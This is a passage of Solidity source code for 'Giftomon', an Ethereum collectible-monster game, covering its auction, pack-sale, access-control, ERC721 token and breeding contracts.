bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779);
ERC721 public nonFungibleContract;
StorageBase public storageContract;
function LogicBase(address _nftAddress, address _storageAddress) public {
paused = true;
setNFTAddress(_nftAddress);
require(_storageAddress != address(0));
storageContract = StorageBase(_storageAddress);
}
function destroy() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(owner);
}
function destroyAndSendToStorageOwner() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(storageOwner);
}
function unpause() public onlyOwner whenPaused {
require(nonFungibleContract != address(0));
require(storageContract != address(0));
require(storageContract.owner() == address(this));
super.unpause();
}
function setNFTAddress(address _nftAddress) public onlyOwner {
require(_nftAddress != address(0));
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_NFC));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = nftAddress.send(address(this).balance);
return res;
}
function withdrawBalanceFromStorageContract() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = storageContract.withdrawBalance();
return res;
}
}
contract ActivityCore is LogicBase {
bool public isActivityCore = true;
ActivityStorage activityStorage;
event ActivityCreated(uint16 activityId);
event ActivityBidSuccess(uint16 activityId, uint16 packId, address winner);
function ActivityCore(address _nftAddress, address _storageAddress)
LogicBase(_nftAddress, _storageAddress) public {
activityStorage = ActivityStorage(_storageAddress);
}
function createActivity(
uint16 _activityId,
uint16 _buyLimit,
uint128 _packPrice,
uint64 _startDate,
uint64 _endDate
)
external
onlyOwner
whenNotPaused
{
activityStorage.createActivity(_activityId, _buyLimit, _packPrice, _startDate, _endDate);
emit ActivityCreated(_activityId);
}
function deleteActivity(
uint16 _activityId
)
external
onlyOwner
whenPaused
{
activityStorage.deleteActivity(_activityId);
}
function getActivity(
uint16 _activityId
)
external
view
returns (
bool isPause,
uint16 buyLimit,
uint128 packPrice,
uint64 startDate,
uint64 endDate
)
{
return activityStorage.activities(_activityId);
}
function bid(uint16 _activityId, uint16 _packId)
external
payable
whenNotPaused
{
bool isPause;
uint16 buyLimit;
uint128 packPrice;
uint64 startDate;
uint64 endDate;
(isPause, buyLimit, packPrice, startDate, endDate) = activityStorage.activities(_activityId);
require(!isPause);
require(buyLimit > 0);
require(msg.value >= packPrice);
require(now >= startDate && now <= endDate);
require(activityStorage.getBuyerAddress(_activityId, _packId) == address(0));
require(activityStorage.getAddressBoughtCount(_activityId, msg.sender) < buyLimit);
activityStorage.sellPackToAddress(_activityId, _packId, msg.sender);
emit ActivityBidSuccess(_activityId, _packId, msg.sender);
}
}
contract CryptoStorage is StorageBase {
struct Monster {
uint32 matronId;
uint32 sireId;
uint32 siringWithId;
uint16 cooldownIndex;
uint16 generation;
uint64 cooldownEndBlock;
uint64 birthTime;
uint16 monsterId;
uint32 monsterNum;
bytes properties;
}
Monster[] internal monsters;
uint256 public promoCreatedCount;
uint256 public systemCreatedCount;
uint256 public pregnantMonsters;
mapping (uint256 => uint32) public monsterCurrentNumber;
mapping (uint256 => address) public monsterIndexToOwner;
mapping (address => uint256) public ownershipTokenCount;
mapping (uint256 => address) public monsterIndexToApproved;
function CryptoStorage() public {
createMonster(0, 0, 0, 0, 0, "");
}
function createMonster(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _birthTime,
uint256 _monsterId,
bytes _properties
)
public
onlyOwner
returns (uint256)
{
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
require(_birthTime == uint256(uint64(_birthTime)));
require(_monsterId == uint256(uint16(_monsterId)));
monsterCurrentNumber[_monsterId]++;
Monster memory monster = Monster({
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: 0,
generation: uint16(_generation),
cooldownEndBlock: 0,
birthTime: uint64(_birthTime),
monsterId: uint16(_monsterId),
monsterNum: monsterCurrentNumber[_monsterId],
properties: _properties
});
uint256 tokenId = monsters.push(monster) - 1;
require(tokenId == uint256(uint32(tokenId)));
return tokenId;
}
function getMonster(uint256 _tokenId)
external
view
returns (
bool isGestating,
bool isReady,
uint16 cooldownIndex,
uint64 nextActionAt,
uint32 siringWithId,
uint32 matronId,
uint32 sireId,
uint64 cooldownEndBlock,
uint16 generation,
uint64 birthTime,
uint32 monsterNum,
uint16 monsterId,
bytes properties
)
{
Monster storage monster = monsters[_tokenId];
isGestating = (monster.siringWithId != 0);
isReady = (monster.cooldownEndBlock <= block.number);
cooldownIndex = monster.cooldownIndex;
nextActionAt = monster.cooldownEndBlock;
siringWithId = monster.siringWithId;
matronId = monster.matronId;
sireId = monster.sireId;
cooldownEndBlock = monster.cooldownEndBlock;
generation = monster.generation;
birthTime = monster.birthTime;
monsterNum = monster.monsterNum;
monsterId = monster.monsterId;
properties = monster.properties;
}
function getMonsterCount() external view returns (uint256) {
return monsters.length - 1;
}
function getMatronId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].matronId;
}
function getSireId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].sireId;
}
function getSiringWithId(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].siringWithId;
}
function setSiringWithId(uint256 _tokenId, uint32 _siringWithId) external onlyOwner {
monsters[_tokenId].siringWithId = _siringWithId;
}
function deleteSiringWithId(uint256 _tokenId) external onlyOwner {
delete monsters[_tokenId].siringWithId;
}
function getCooldownIndex(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].cooldownIndex;
}
function setCooldownIndex(uint256 _tokenId) external onlyOwner {
monsters[_tokenId].cooldownIndex += 1;
}
function getGeneration(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].generation;
}
function getCooldownEndBlock(uint256 _tokenId) external view returns (uint64) {
return monsters[_tokenId].cooldownEndBlock;
}
function setCooldownEndBlock(uint256 _tokenId, uint64 _cooldownEndBlock) external onlyOwner {
monsters[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getBirthTime(uint256 _tokenId) external view returns (uint64) {
return monsters[_tokenId].birthTime;
}
function getMonsterId(uint256 _tokenId) external view returns (uint16) {
return monsters[_tokenId].monsterId;
}
function getMonsterNum(uint256 _tokenId) external view returns (uint32) {
return monsters[_tokenId].monsterNum;
}
function getProperties(uint256 _tokenId) external view returns (bytes) {
return monsters[_tokenId].properties;
}
function updateProperties(uint256 _tokenId, bytes _properties) external onlyOwner {
monsters[_tokenId].properties = _properties;
}
function setMonsterIndexToOwner(uint256 _tokenId, address _owner) external onlyOwner {
monsterIndexToOwner[_tokenId] = _owner;
}
function increaseOwnershipTokenCount(address _owner) external onlyOwner {
ownershipTokenCount[_owner]++;
}
function decreaseOwnershipTokenCount(address _owner) external onlyOwner {
ownershipTokenCount[_owner]--;
}
function setMonsterIndexToApproved(uint256 _tokenId, address _approved) external onlyOwner {
monsterIndexToApproved[_tokenId] = _approved;
}
function deleteMonsterIndexToApproved(uint256 _tokenId) external onlyOwner {
delete monsterIndexToApproved[_tokenId];
}
function increasePromoCreatedCount() external onlyOwner {
promoCreatedCount++;
}
function increaseSystemCreatedCount() external onlyOwner {
systemCreatedCount++;
}
function increasePregnantCounter() external onlyOwner {
pregnantMonsters++;
}
function decreasePregnantCounter() external onlyOwner {
pregnantMonsters--;
}
}
contract ClockAuctionStorage is StorageBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
mapping (uint256 => Auction) tokenIdToAuction;
function addAuction(
uint256 _tokenId,
address _seller,
uint128 _startingPrice,
uint128 _endingPrice,
uint64 _duration,
uint64 _startedAt
)
external
onlyOwner
{
tokenIdToAuction[_tokenId] = Auction(
_seller,
_startingPrice,
_endingPrice,
_duration,
_startedAt
);
}
function removeAuction(uint256 _tokenId) public onlyOwner {
delete tokenIdToAuction[_tokenId];
}
function getAuction(uint256 _tokenId)
external
view
returns (
address seller,
uint128 startingPrice,
uint128 endingPrice,
uint64 duration,
uint64 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function isOnAuction(uint256 _tokenId) external view returns (bool) {
return (tokenIdToAuction[_tokenId].startedAt > 0);
}
function getSeller(uint256 _tokenId) external view returns (address) {
return tokenIdToAuction[_tokenId].seller;
}
function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner {
_nonFungibleContract.transfer(_receiver, _tokenId);
}
}
contract SaleClockAuctionStorage is ClockAuctionStorage {
bool public isSaleClockAuctionStorage = true;
uint256 public totalSoldCount;
uint256[3] public lastSoldPrices;
uint256 public systemOnSaleCount;
mapping (uint256 => bool) systemOnSaleTokens;
function removeAuction(uint256 _tokenId) public onlyOwner {
super.removeAuction(_tokenId);
if (systemOnSaleTokens[_tokenId]) {
delete systemOnSaleTokens[_tokenId];
if (systemOnSaleCount > 0) {
systemOnSaleCount--;
}
}
}
function recordSystemOnSaleToken(uint256 _tokenId) external onlyOwner {
if (!systemOnSaleTokens[_tokenId]) {
systemOnSaleTokens[_tokenId] = true;
systemOnSaleCount++;
}
}
function recordSoldPrice(uint256 _price) external onlyOwner {
lastSoldPrices[totalSoldCount % 3] = _price;
totalSoldCount++;
}
function averageSoldPrice() external view returns (uint256) {
if (totalSoldCount == 0) return 0;
uint256 sum = 0;
uint256 len = (totalSoldCount < 3 ? totalSoldCount : 3);
for (uint256 i = 0; i < len; i++) {
sum += lastSoldPrices[i];
}
return sum / len;
}
}
contract ClockAuction is LogicBase {
ClockAuctionStorage public clockAuctionStorage;
uint256 public ownerCut;
uint256 public minCutValue;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller, uint256 sellerProceeds);
event AuctionCancelled(uint256 tokenId);
function ClockAuction(address _nftAddress, address _storageAddress, uint256 _cut, uint256 _minCutValue)
LogicBase(_nftAddress, _storageAddress) public
{
setOwnerCut(_cut);
setMinCutValue(_minCutValue);
clockAuctionStorage = ClockAuctionStorage(_storageAddress);
}
function setOwnerCut(uint256 _cut) public onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
function setMinCutValue(uint256 _minCutValue) public onlyOwner {
minCutValue = _minCutValue;
}
function getMinPrice() public view returns (uint256) {
return minCutValue;
}
function isValidPrice(uint256 _startingPrice, uint256 _endingPrice) public view returns (bool) {
return (_startingPrice < _endingPrice ? _startingPrice : _endingPrice) >= getMinPrice();
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
public
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
nonFungibleContract.transferFrom(_seller, address(clockAuctionStorage), _tokenId);
require(_duration >= 1 minutes);
clockAuctionStorage.addAuction(
_tokenId,
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
emit AuctionCreated(_tokenId, _startingPrice, _endingPrice, _duration);
}
function cancelAuction(uint256 _tokenId) external {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
_cancelAuction(_tokenId, seller);
}
function getAuction(uint256 _tokenId)
public
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
require(clockAuctionStorage.isOnAuction(_tokenId));
return clockAuctionStorage.getAuction(_tokenId);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
require(clockAuctionStorage.isOnAuction(_tokenId));
return _currentPrice(_tokenId);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
clockAuctionStorage.removeAuction(_tokenId);
clockAuctionStorage.transfer(nonFungibleContract, _seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount, address bidder) internal returns (uint256) {
require(clockAuctionStorage.isOnAuction(_tokenId));
uint256 price = _currentPrice(_tokenId);
require(_bidAmount >= price);
address seller = clockAuctionStorage.getSeller(_tokenId);
uint256 sellerProceeds = 0;
clockAuctionStorage.removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
bidder.transfer(bidExcess);
emit AuctionSuccessful(_tokenId, price, bidder, seller, sellerProceeds);
return price;
}
function _currentPrice(uint256 _tokenId) internal view returns (uint256) {
uint256 secondsPassed = 0;
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
(seller, startingPrice, endingPrice, duration, startedAt) = clockAuctionStorage.getAuction(_tokenId);
if (now > startedAt) {
secondsPassed = now - startedAt;
}
return _computeCurrentPrice(
startingPrice,
endingPrice,
duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
uint256 cutValue = _price * ownerCut / 10000;
if (_price < minCutValue) return cutValue;
if (cutValue > minCutValue) return cutValue;
return minCutValue;
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
address public systemSaleAddress;
uint256 public systemStartingPriceMin = 20 finney;
uint256 public systemEndingPrice = 0;
uint256 public systemAuctionDuration = 1 days;
function SaleClockAuction(address _nftAddr, address _storageAddress, address _systemSaleAddress, uint256 _cut, uint256 _minCutValue)
ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public
{
require(SaleClockAuctionStorage(_storageAddress).isSaleClockAuctionStorage());
setSystemSaleAddress(_systemSaleAddress);
}
function bid(uint256 _tokenId) external payable {
uint256 price = _bid(_tokenId, msg.value, msg.sender);
clockAuctionStorage.transfer(nonFungibleContract, msg.sender, _tokenId);
SaleClockAuctionStorage(clockAuctionStorage).recordSoldPrice(price);
}
function createSystemAuction(uint256 _tokenId) external {
require(msg.sender == address(nonFungibleContract));
createAuction(
_tokenId,
computeNextSystemSalePrice(),
systemEndingPrice,
systemAuctionDuration,
systemSaleAddress
);
SaleClockAuctionStorage(clockAuctionStorage).recordSystemOnSaleToken(_tokenId);
}
function setSystemSaleAddress(address _systemSaleAddress) public onlyOwner {
require(_systemSaleAddress != address(0));
systemSaleAddress = _systemSaleAddress;
}
function setSystemStartingPriceMin(uint256 _startingPrice) external onlyOwner {
require(_startingPrice == uint256(uint128(_startingPrice)));
systemStartingPriceMin = _startingPrice;
}
function setSystemEndingPrice(uint256 _endingPrice) external onlyOwner {
require(_endingPrice == uint256(uint128(_endingPrice)));
systemEndingPrice = _endingPrice;
}
function setSystemAuctionDuration(uint256 _duration) external onlyOwner {
require(_duration == uint256(uint64(_duration)));
systemAuctionDuration = _duration;
}
function totalSoldCount() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).totalSoldCount();
}
function systemOnSaleCount() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).systemOnSaleCount();
}
function averageSoldPrice() external view returns (uint256) {
return SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice();
}
function computeNextSystemSalePrice() public view returns (uint256) {
uint256 avePrice = SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < systemStartingPriceMin) {
nextPrice = systemStartingPriceMin;
}
return nextPrice;
}
}
contract SiringClockAuctionStorage is ClockAuctionStorage {
bool public isSiringClockAuctionStorage = true;
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, address _storageAddress, uint256 _cut, uint256 _minCutValue)
ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public
{
require(SiringClockAuctionStorage(_storageAddress).isSiringClockAuctionStorage());
}
function bid(uint256 _tokenId, address bidder) external payable {
require(msg.sender == address(nonFungibleContract));
address seller = clockAuctionStorage.getSeller(_tokenId);
_bid(_tokenId, msg.value, bidder);
clockAuctionStorage.transfer(nonFungibleContract, seller, _tokenId);
}
}
contract ZooAccessControl is HasNoContracts {
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) public onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
}
contract Zoo721 is ZooAccessControl, ERC721 {
string public constant name = "Giftomon";
string public constant symbol = "GTOM";
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)'));
CryptoStorage public cryptoStorage;
function Zoo721(address _storageAddress) public {
require(_storageAddress != address(0));
cryptoStorage = CryptoStorage(_storageAddress);
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function totalSupply() public view returns (uint) {
return cryptoStorage.getMonsterCount();
}
function balanceOf(address _owner) public view returns (uint256 count) {
return cryptoStorage.ownershipTokenCount(_owner);
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = cryptoStorage.monsterIndexToOwner(_tokenId);
require(owner != address(0));
}
function approve(address _to, uint256 _tokenId) external whenNotPaused {
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
emit Approval(msg.sender, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external whenNotPaused {
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused {
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 1; tokenId <= totalTokens; tokenId++) {
if (cryptoStorage.monsterIndexToOwner(tokenId) == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
cryptoStorage.increaseOwnershipTokenCount(_to);
cryptoStorage.setMonsterIndexToOwner(_tokenId, _to);
if (_from != address(0)) {
cryptoStorage.decreaseOwnershipTokenCount(_from);
cryptoStorage.deleteMonsterIndexToApproved(_tokenId);
}
emit Transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return cryptoStorage.monsterIndexToOwner(_tokenId) == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
cryptoStorage.setMonsterIndexToApproved(_tokenId, _approved);
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return cryptoStorage.monsterIndexToApproved(_tokenId) == _claimant;
}
}
contract CryptoZoo is Zoo721 {
uint256 public constant SYSTEM_CREATION_LIMIT = 10000;
uint256 public autoBirthFee = 2 finney;
uint256 public secondsPerBlock = 15;
uint32[] public hatchDurationByTimes = [uint32(1 minutes)];
uint32[] public hatchDurationMultiByGeneration = [uint32(60)];
SaleClockAuction public saleAuction;
SiringClockAuction public siringAuction;
ActivityCore public activityCore;
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 matronCooldownEndBlock, uint256 sireCooldownEndBlock, uint256 breedCost);
event Birth(address owner, uint256 tokenId, uint256 matronId, uint256 sireId);
function CryptoZoo(address _storageAddress, address _cooAddress, address _cfoAddress) Zoo721(_storageAddress) public {
paused = true;
ceoAddress = msg.sender;
setCOO(_cooAddress);
setCFO(_cfoAddress);
}
function() external payable {
require(
msg.sender == address(saleAuction) ||
msg.sender == address(siringAuction) ||
msg.sender == address(activityCore) ||
msg.sender == cooAddress
);
}
function pause() public onlyCLevel whenNotPaused {
super.pause();
}
function unpause() public onlyCEO whenPaused {
require(ceoAddress != address(0));
require(cooAddress != address(0));
require(cfoAddress != address(0));
require(saleAuction != address(0));
require(siringAuction != address(0));
require(activityCore != address(0));
require(cryptoStorage != address(0));
require(cryptoStorage.owner() == address(this));
super.unpause();
}
function destroy() external onlyCEO whenPaused {
address storageOwner = cryptoStorage.owner();
require(storageOwner != address(this));
selfdestruct(ceoAddress);
}
function destroyAndSendToStorageOwner() external onlyCEO whenPaused {
address storageOwner = cryptoStorage.owner();
require(storageOwner != address(this));
selfdestruct(storageOwner);
}
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
require(candidateContract.isSiringClockAuction());
siringAuction = candidateContract;
}
function setActivityCoreAddress(address _address) external onlyCEO {
ActivityCore candidateContract = ActivityCore(_address);
require(candidateContract.isActivityCore());
activityCore = candidateContract;
}
function withdrawBalance() external onlyCLevel {
uint256 balance = address(this).balance;
uint256 subtractFees = (cryptoStorage.pregnantMonsters() + 1) * autoBirthFee;
if (balance > subtractFees) {
cfoAddress.transfer(balance - subtractFees);
}
}
function withdrawBalancesToNFC() external onlyCLevel {
saleAuction.withdrawBalance();
siringAuction.withdrawBalance();
activityCore.withdrawBalance();
cryptoStorage.withdrawBalance();
}
function withdrawBalancesToLogic() external onlyCLevel {
saleAuction.withdrawBalanceFromStorageContract();
siringAuction.withdrawBalanceFromStorageContract();
activityCore.withdrawBalanceFromStorageContract();
}
function setAutoBirthFee(uint256 val) external onlyCOO {
autoBirthFee = val;
}
function setAllHatchConfigs(
uint32[] _durationByTimes,
uint256 _secs,
uint32[] _multiByGeneration
)
external
onlyCLevel
{
setHatchDurationByTimes(_durationByTimes);
setSecondsPerBlock(_secs);
setHatchDurationMultiByGeneration(_multiByGeneration);
}
function setSecondsPerBlock(uint256 _secs) public onlyCLevel {
require(_secs < hatchDurationByTimes[0]);
secondsPerBlock = _secs;
}
function setHatchDurationByTimes(uint32[] _durationByTimes) public onlyCLevel {
uint256 len = _durationByTimes.length;
require(len > 0);
require(len == uint256(uint16(len)));
delete hatchDurationByTimes;
uint32 value;
for (uint256 idx = 0; idx < len; idx++) {
value = _durationByTimes[idx];
require(value >= 1 minutes && value % 1 minutes == 0);
hatchDurationByTimes.push(value);
}
}
function getHatchDurationByTimes() external view returns (uint32[]) {
return hatchDurationByTimes;
}
function setHatchDurationMultiByGeneration(uint32[] _multiByGeneration) public onlyCLevel {
uint256 len = _multiByGeneration.length;
require(len > 0);
require(len == uint256(uint16(len)));
delete hatchDurationMultiByGeneration;
uint32 value;
for (uint256 idx = 0; idx < len; idx++) {
value = _multiByGeneration[idx];
require(value >= 60 && value % secondsPerBlock == 0);
hatchDurationMultiByGeneration.push(value);
}
}
function getHatchDurationMultiByGeneration() external view returns (uint32[]) {
return hatchDurationMultiByGeneration;
}
function createPromoMonster(
uint32 _monsterId,
bytes _properties,
address _owner
)
public
onlyCOO
whenNotPaused
{
require(_owner != address(0));
_createMonster(
0,
0,
0,
uint64(now),
_monsterId,
_properties,
_owner
);
cryptoStorage.increasePromoCreatedCount();
}
function createPromoMonsterWithTokenId(
uint32 _monsterId,
bytes _properties,
address _owner,
uint256 _tokenId
)
external
onlyCOO
whenNotPaused
{
require(_tokenId > 0 && cryptoStorage.getMonsterCount() + 1 == _tokenId);
createPromoMonster(_monsterId, _properties, _owner);
}
function createSystemSaleAuction(
uint32 _monsterId,
bytes _properties,
uint16 _generation
)
external
onlyCOO
whenNotPaused
{
require(cryptoStorage.systemCreatedCount() < SYSTEM_CREATION_LIMIT);
uint256 tokenId = _createMonster(
0,
0,
_generation,
uint64(now),
_monsterId,
_properties,
saleAuction.systemSaleAddress()
);
_approve(tokenId, saleAuction);
saleAuction.createSystemAuction(tokenId);
cryptoStorage.increaseSystemCreatedCount();
}
function createSaleAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_tokenId > 0);
require(_owns(msg.sender, _tokenId));
require(!isPregnant(_tokenId));
require(saleAuction.isValidPrice(_startingPrice, _endingPrice));
_approve(_tokenId, saleAuction);
saleAuction.createAuction(
_tokenId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function createSiringAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_tokenId > 0);
require(_owns(msg.sender, _tokenId));
require(isReadyToBreed(_tokenId));
require(siringAuction.isValidPrice(_startingPrice, _endingPrice));
_approve(_tokenId, siringAuction);
siringAuction.createAuction(
_tokenId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function bidOnSiringAuction(
uint256 _sireId,
uint256 _matronId
)
external
payable
whenNotPaused
{
require(_matronId > 0);
require(_owns(msg.sender, _matronId));
require(isReadyToBreed(_matronId));
require(isValidMatingPair(_matronId, _sireId));
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
uint256 breedCost = currentPrice + autoBirthFee;
require(msg.value >= breedCost);
siringAuction.bid.value(msg.value - autoBirthFee)(_sireId, msg.sender);
_breedWith(_matronId, _sireId, breedCost);
}
function breedWithAuto(uint256 _matronId, uint256 _sireId)
external
payable
whenNotPaused
{
require(msg.value >= autoBirthFee);
require(_owns(msg.sender, _matronId));
require(_owns(msg.sender, _sireId));
require(isReadyToBreed(_matronId));
require(isReadyToBreed(_sireId));
require(isValidMatingPair(_matronId, _sireId));
_breedWith(_matronId, _sireId, autoBirthFee);
}
function giveBirth(uint256 _matronId, uint256 _monsterId, uint256 _birthTime, bytes _properties)
external
whenNotPaused
onlyCOO
returns (uint256)
{
require(cryptoStorage.getBirthTime(_matronId) != 0);
uint256 sireId = cryptoStorage.getSiringWithId(_matronId);
require(sireId != 0);
uint16 parentGen = cryptoStorage.getGeneration(_matronId);
uint16 sireGen = cryptoStorage.getGeneration(sireId);
if (sireGen > parentGen) parentGen = sireGen;
address owner = cryptoStorage.monsterIndexToOwner(_matronId);
uint256 tokenId = _createMonster(
_matronId,
sireId,
parentGen + 1,
_birthTime,
_monsterId,
_properties,
owner
);
cryptoStorage.deleteSiringWithId(_matronId);
cryptoStorage.decreasePregnantCounter();
msg.sender.transfer(autoBirthFee);
return tokenId;
}
function computeCooldownSeconds(uint16 _hatchTimes, uint16 _generation) public view returns (uint32) {
require(hatchDurationByTimes.length > 0);
require(hatchDurationMultiByGeneration.length > 0);
uint16 hatchTimesMax = uint16(hatchDurationByTimes.length - 1);
uint16 hatchTimes = (_hatchTimes > hatchTimesMax ? hatchTimesMax : _hatchTimes);
uint16 generationMax = uint16(hatchDurationMultiByGeneration.length - 1);
uint16 generation = (_generation > generationMax ? generationMax : _generation);
return hatchDurationByTimes[hatchTimes] * hatchDurationMultiByGeneration[generation] / 60;
}
function isReadyToBreed(uint256 _tokenId) public view returns (bool) {
return (cryptoStorage.getSiringWithId(_tokenId) == 0) && (cryptoStorage.getCooldownEndBlock(_tokenId) <= uint64(block.number));
}
function isPregnant(uint256 _tokenId) public view returns (bool) {
return cryptoStorage.getSiringWithId(_tokenId) != 0;
}
function isValidMatingPair(uint256 _matronId, uint256 _sireId) public view returns (bool) {
if (_matronId == _sireId) {
return false;
}
uint32 matron_of_matron = cryptoStorage.getMatronId(_matronId);
uint32 sire_of_matron = cryptoStorage.getSireId(_matronId);
uint32 matron_of_sire = cryptoStorage.getMatronId(_sireId);
uint32 sire_of_sire = cryptoStorage.getSireId(_sireId);
if (matron_of_matron == _sireId || sire_of_matron == _sireId) return false;
if (matron_of_sire == _matronId || sire_of_sire == _matronId) return false;
if (matron_of_sire == 0 || matron_of_matron == 0) return true;
